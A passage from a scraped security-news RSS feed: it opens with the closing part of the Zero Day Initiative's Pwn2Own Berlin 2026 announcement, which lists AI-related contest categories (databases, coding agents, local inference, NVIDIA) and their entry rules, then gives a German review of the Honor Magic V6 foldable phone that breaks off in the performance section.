https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png" data-image-dimensions="3000x2000" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w" width="3000" height="2000" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  





  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Honor Magic V6 im Test: Das fast perfekte Foldable]]></title>
<description><![CDATA[Luke Baker



Auf einen Blick



Pro




Wunderschönes, schlankes Design



Große, helle Displays



Hervorragende Kameras



Coole Software-Funktionen




Kontra




Hoher Preis



MagicOS kann gelegentlich frustrierend sein




Fazit



Das Honor Magic V6 ist ein Falt-Smartphone, das einfach al...]]></description>
<link>https://tsecurity.de/de/3694426/it-security-nachrichten/honor-magic-v6-im-test-das-fast-perfekte-foldable/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694426/it-security-nachrichten/honor-magic-v6-im-test-das-fast-perfekte-foldable/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-21.52.53.png?w=1024" alt="Honor Magic V6" class="wp-image-4198590" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<h2 class="wp-block-heading">Auf einen Blick</h2>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Wunderschönes, schlankes Design</li>



<li>Große, helle Displays</li>



<li>Hervorragende Kameras</li>



<li>Coole Software-Funktionen</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>Hoher Preis</li>



<li>MagicOS kann gelegentlich frustrierend sein</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p class="wp-block-paragraph">Das Honor Magic V6 ist ein Falt-Smartphone, das einfach alles kann. Es ist schlank, robust, leistungsstark und sieht gut aus. Die Kameras gehören zu den besten, die Software bietet einige raffinierte Funktionen und die Akkulaufzeit ist außergewöhnlich. Besitzer eines Magic V5 werden wahrscheinlich kaum einen Grund für ein Upgrade sehen, aber für alle anderen ist es eine gute Wahl – sofern Sie es sich leisten können.</p>



<p class="wp-block-paragraph">Das Honor Magic V6 wurde ursprünglich bereits im März in China vorgestellt, doch es dauerte eine Weile, bis es den Weg nach Europa fand. Nun ist es endlich in Europa erhältlich und strebt den Titel des bislang <a href="https://www.pcwelt.de/article/2109390/bestes-falt-smartphone.html" target="_blank">besten Falt-Smartphones</a> an.</p>



<p class="wp-block-paragraph">Leider ist die Konkurrenz für Honor stärker denn je, und sie wird noch härter werden, sobald Apples seit Langem gemunkeltes Foldable auf den Markt kommt. Bietet dieses schlanke Kraftpaket genug, um weiterhin überzeugend zu bleiben?</p>



<p class="wp-block-paragraph">Es sieht auf jeden Fall vielversprechend aus, verfügt über einen der größten Akkus aller jemals erschienenen Falt-Smartphones, ist das erste mit IP69-Zertifizierung und gehört dennoch zu den dünnsten Modellen. Das ist schon mal ein guter Anfang. Ich habe es in den vergangenen Wochen auf Herz und Nieren geprüft, und hier ist mein Fazit.</p>



<h2 class="wp-block-heading">Design &amp; Verarbeitung</h2>



<ul class="wp-block-list">
<li>Aluminiumrahmen, Rückseite aus Verbundfasermaterial</li>



<li>219 g, NanoCrystal Shield-Glas</li>



<li>IP69-zertifiziert</li>
</ul>



<p class="wp-block-paragraph">Das Honor Magic V6 sieht dem <a href="https://www.pcwelt.de/article/2838914/honor-magic-v5-test.html" target="_blank">Magic V5</a> sehr ähnlich, wobei der auffälligste Unterschied in der Form des Kamerarahmens liegt. Dieser ist nun kantiger und weist eine achteckige Form auf. Auch neue Farbvarianten tragen dazu bei, es von der Vorgängergeneration abzugrenzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.26.png?w=1024" alt="Honor Magic V6" class="wp-image-4199606" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Die rote Version ist wahrscheinlich die auffälligste; sie verfügt über eine tiefrote, fast blutrote Rückseite mit strukturierter Oberfläche. Ich besitze die goldene Version, die ebenfalls sehr auffällig ist. Freunde haben bemerkt, dass es wie ein Smartphone aussieht, das ein saudischer Prinz oder Kim Kardashian benutzen würde.</p>



<p class="wp-block-paragraph">Die Farbe schimmert leicht, wenn Licht darauf fällt; sowohl am Scharnier als auch auf der Rückseite ist ein dezentes, sich wiederholendes Dreiecksmuster zu erkennen, und es bleibt irgendwie frei von Fingerabdrücken, obwohl es ziemlich glänzend ist. Das sieht wirklich cool aus. Auch die mitgelieferte Hülle ist von höchster Qualität, mit einem cremefarbenen Kunstlederbezug und einem roségoldenen Kamerarahmen, der gleichzeitig als ausklappbarer Ständer dient.</p>



<p class="wp-block-paragraph">Wenn Sie etwas suchen, das etwas weniger Aufmerksamkeit auf sich zieht, gibt es natürlich auch traditionellere Modelle in Schwarz und Weiß. Letzteres hat zudem einen versteckten Vorteil: Mit nur 8,75 Millimetern im geschlossenen Zustand ist es das dünnste Modell der Reihe, und Honor geht davon aus, dass es derzeit das dünnste Falt-Smartphone auf dem Markt ist.</p>



<p class="wp-block-paragraph">Ich habe das weiße Modell nicht ausprobiert, und vielleicht ist es tatsächlich spürbar schlanker, aber meiner Meinung nach sieht die goldene Version definitiv etwas dicker aus und fühlt sich auch so wie mein 8,9 Millimeter dickes <a href="https://www.pcwelt.de/article/2843601/samsung-galaxy-z-fold-7-test.html" target="_blank">Galaxy Z Fold 7</a> an.</p>



<p class="wp-block-paragraph">Das ist allerdings Haarspalterei, denn dieses Smartphone ist immer noch dünner als viele Flaggschiff-Smartphones im Barrenformat. Ob es nun das dünnste ist oder nicht – es ist auf jeden Fall dünn genug, um sich in der Hosentasche angenehm anzufühlen.<br><br></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.34.png?w=1024" alt="Honor Magic V6" class="wp-image-4199607" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Erwähnenswert ist auch, dass das Cover-Display nun flach ist und eine symmetrischere Form aufweist. Dadurch sieht das Smartphone im zusammengeklappten Zustand noch mehr wie ein herkömmliches Barren-Handy aus, doch die unvermeidliche, eckige Kante am Scharnier verrät es ein wenig.<br><br></p>



<p class="wp-block-paragraph">So wichtig die Abmessungen eines Klapphandys auch sind, ebenso entscheidend ist die Robustheit. Und glücklicherweise ist das Honor Magic V6 robust wie ein Panzer gebaut.</p>



<p class="wp-block-paragraph">Es verfügt über die Schutzklasse IP69 – die höchste aller faltbaren Smartphones. Das bedeutet, dass es praktisch staubdicht ist und sowohl das Eintauchen in Süßwasser als auch den Strahl von heißem Wasser problemlos aushält. Die Technologie der faltbaren Smartphones hat große Fortschritte gemacht.</p>



<p class="wp-block-paragraph">Es ist zudem besonders robust konstruiert, mit kratzfestem „NanoCrystal Shield“-Glas auf der Vorderseite und einem „Super Steel“-Scharnier, das die Stoßfestigkeit verbessert.</p>



<p class="wp-block-paragraph">SGS-Zertifizierungen untermauern diese Angaben ebenfalls, da das Smartphone für seine Fallfestigkeit mit 5 Sternen ausgezeichnet wurde. Ich habe mein Testgerät nicht allzu grob behandelt, aber es ist beruhigend zu wissen, dass es unversehrt bleiben dürfte, sollte mir einmal ein Ausrutscher unterlaufen.</p>



<h2 class="wp-block-heading">Bildschirm &amp; Lautsprecher</h2>



<ul class="wp-block-list">
<li>Außen: 6,52 Zoll, 1.080 x 2.420, OLED, 120 Hertz</li>



<li>Innen: 7,95 Zoll, 2.172 × 2.352, OLED, 120 Hertz</li>



<li>Stereolautsprecher</li>
</ul>



<p class="wp-block-paragraph">Bei Falt-Smartphones dreht sich alles um den Bildschirm. Beginnen wir also mit dem Star der Show: dem inneren Display. Mit einer Diagonale von knapp unter 8 Zoll gehört es zu den größten Falt-Smartphones im Buchformat auf dem Markt.</p>



<p class="wp-block-paragraph">Es ist nahezu perfekt quadratisch, was sich hervorragend für die parallele Nutzung zweier Apps eignet.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.39.png?w=1024" alt="Honor Magic V6" class="wp-image-4199608" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Dieses flexible Display verfügt über eine Bildwiederholfrequenz von 120 Hertz und erreicht eine beeindruckende Spitzenhelligkeit von 5.000 Nits. Solche Helligkeitsangaben sollten Sie zwar stets mit einer gehörigen Portion Skepsis betrachten, doch unabhängig davon handelt es sich um ein sehr helles Display, das auch im Freien gut ablesbar ist.</p>



<p class="wp-block-paragraph">Der innere Bildschirm ist mit einer glänzenden Schutzfolie versehen (wenn auch mit einer Antireflexbeschichtung), was sowohl Vor- als auch Nachteile mit sich bringt. Wie ich bereits in anderen Testberichten zu Falt-Smartphones erwähnt habe, kaschieren mattierte Schutzfolien die Falz zwar besser, ziehen aber auch Fingerabdrücke an. Diese hier verschmiert nicht so leicht, doch trotz aller Bemühungen von Honor treten entlang der Falz einige unerwünschte Reflexionen auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.44.png?w=1024" alt="Honor Magic V6" class="wp-image-4199609" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Apropos: Die Falz ist bewundernswert flach, und noch vor nicht allzu langer Zeit wäre sie die beste gewesen, die mir je begegnet wäre. Allerdings nutze ich das Oppo Find N6 seit seiner Markteinführung fast täglich, und leider kann dieses Modell da nicht ganz mithalten.</p>



<p class="wp-block-paragraph">Es ist dennoch äußerst beeindruckend und um Längen besser als das <a href="https://www.pcwelt.de/article/2945312/google-pixel-10-pro-test-3.html" target="_blank">Pixel 10 Pro Fold</a>. Auch im Vergleich zum Galaxy Z Fold 7 fällt die Falz etwas weniger auf.</p>



<p class="wp-block-paragraph">Was das Außendisplay betrifft, so ist es fast nicht von dem Bildschirm eines Flaggschiff-Handys im Barren-Format zu unterscheiden, abgesehen davon, dass es ganz leicht schmaler ist als üblich. Es verfügt über schöne, schmale Einfassungen an allen Seiten, eine flinke Bildwiederholfrequenz von 120 Hertz und eine noch höhere Spitzenhelligkeit von 6.000 Nits.</p>



<p class="wp-block-paragraph">Wie bereits bei den letzten Generationen der faltbaren Honor-Modelle gibt es keine nennenswerten Nachteile bei der Nutzung des zusammengeklappten Telefons; es fühlt sich einfach wie ein normales Smartphone an. Wenn Sie dann einen größeren Bildschirm für Ihre Inhalte, Spiele oder Multitasking benötigen, klappen Sie es einfach auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.47.png?w=1024" alt="Honor Magic V6" class="wp-image-4199611" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Wie üblich hat Honor einiges in Funktionen zum Augenschutz investiert, und beide Bildschirme unterstützen eine PWM-Dimmung mit 4.320 Hertz. Das werden Sie besonders zu schätzen wissen, wenn Sie empfindlich auf Flackern reagieren. Beide Bildschirme unterstützen zudem die Eingabe per Stylus, allerdings hatte ich leider keinen Honor-Stylus zur Hand, um dies auszuprobieren.</p>



<p class="wp-block-paragraph">Die luxuriösen Displays werden durch ein ordentliches Lautsprecherset ergänzt. Das Stereopaar erzeugt eine schöne, breite Klangbühne, kann mehr als laut genug werden und bietet eine ordentliche Basswiedergabe. Sie können zwar nicht mit den bassbetonten Lautsprechern des <a href="https://www.pcwelt.de/article/3041397/honor-magic-8-pro-test.html" target="_blank">Magic 8 Pro</a> mithalten, aber bei einem so schlanken Gehäuse sind die Möglichkeiten nun einmal begrenzt.</p>



<h2 class="wp-block-heading">Technische Daten &amp; Leistung</h2>



<ul class="wp-block-list">
<li>Qualcomm Snapdragon 8 Elite Gen 5</li>



<li>16 GB RAM</li>



<li>512 GB Speicher</li>
</ul>



<p class="wp-block-paragraph">Das Magic V6 verfügt über den leistungsstärksten Chip von Qualcomm, den Snapdragon 8 Elite Gen 5, und das globale Modell ist mit 16 GB RAM und 512 GB Speicher ausgestattet. Bei einem so schlanken Falt-Smartphone stellt die Wärmeableitung stets eine Herausforderung dar, doch Honor hat hier eine großzügig dimensionierte Vapor-Chamber verbaut, um eine optimale Leistung zu gewährleisten.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-22.14.51.png?w=1024" alt="Honor Magic V6" class="wp-image-4199612" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Luke Baker</p></div>



<p class="wp-block-paragraph">Das V6 hat meine täglichen Leistungsanforderungen problemlos erfüllt. Bei einem Falt-Smartphone habe ich oft drei Apps gleichzeitig geöffnet, wechsle zwischen ihnen hin und her und spiele häufig gleichzeitig Musik ab oder streame Videos. Selbst dann kam das Smartphone kaum ins Schwitzen.</p>



<p class="wp-block-paragraph">Man muss schon ein ziemlich anspruchsvolles Spiel starten, um dieses Smartphone ein wenig ins Schwitzen zu bringen, und wie es der Zufall so will, bin ich ziemlich süchtig nach <em>NTE: Neverness to Everness</em> (ein Open-World-Spiel mit atemberaubender Grafik und einer riesigen Stadtkarte, mit deren Darstellung die meisten Smartphones zu kämpfen haben). Doch das Magic V6 hatte damit kaum Probleme.</p>



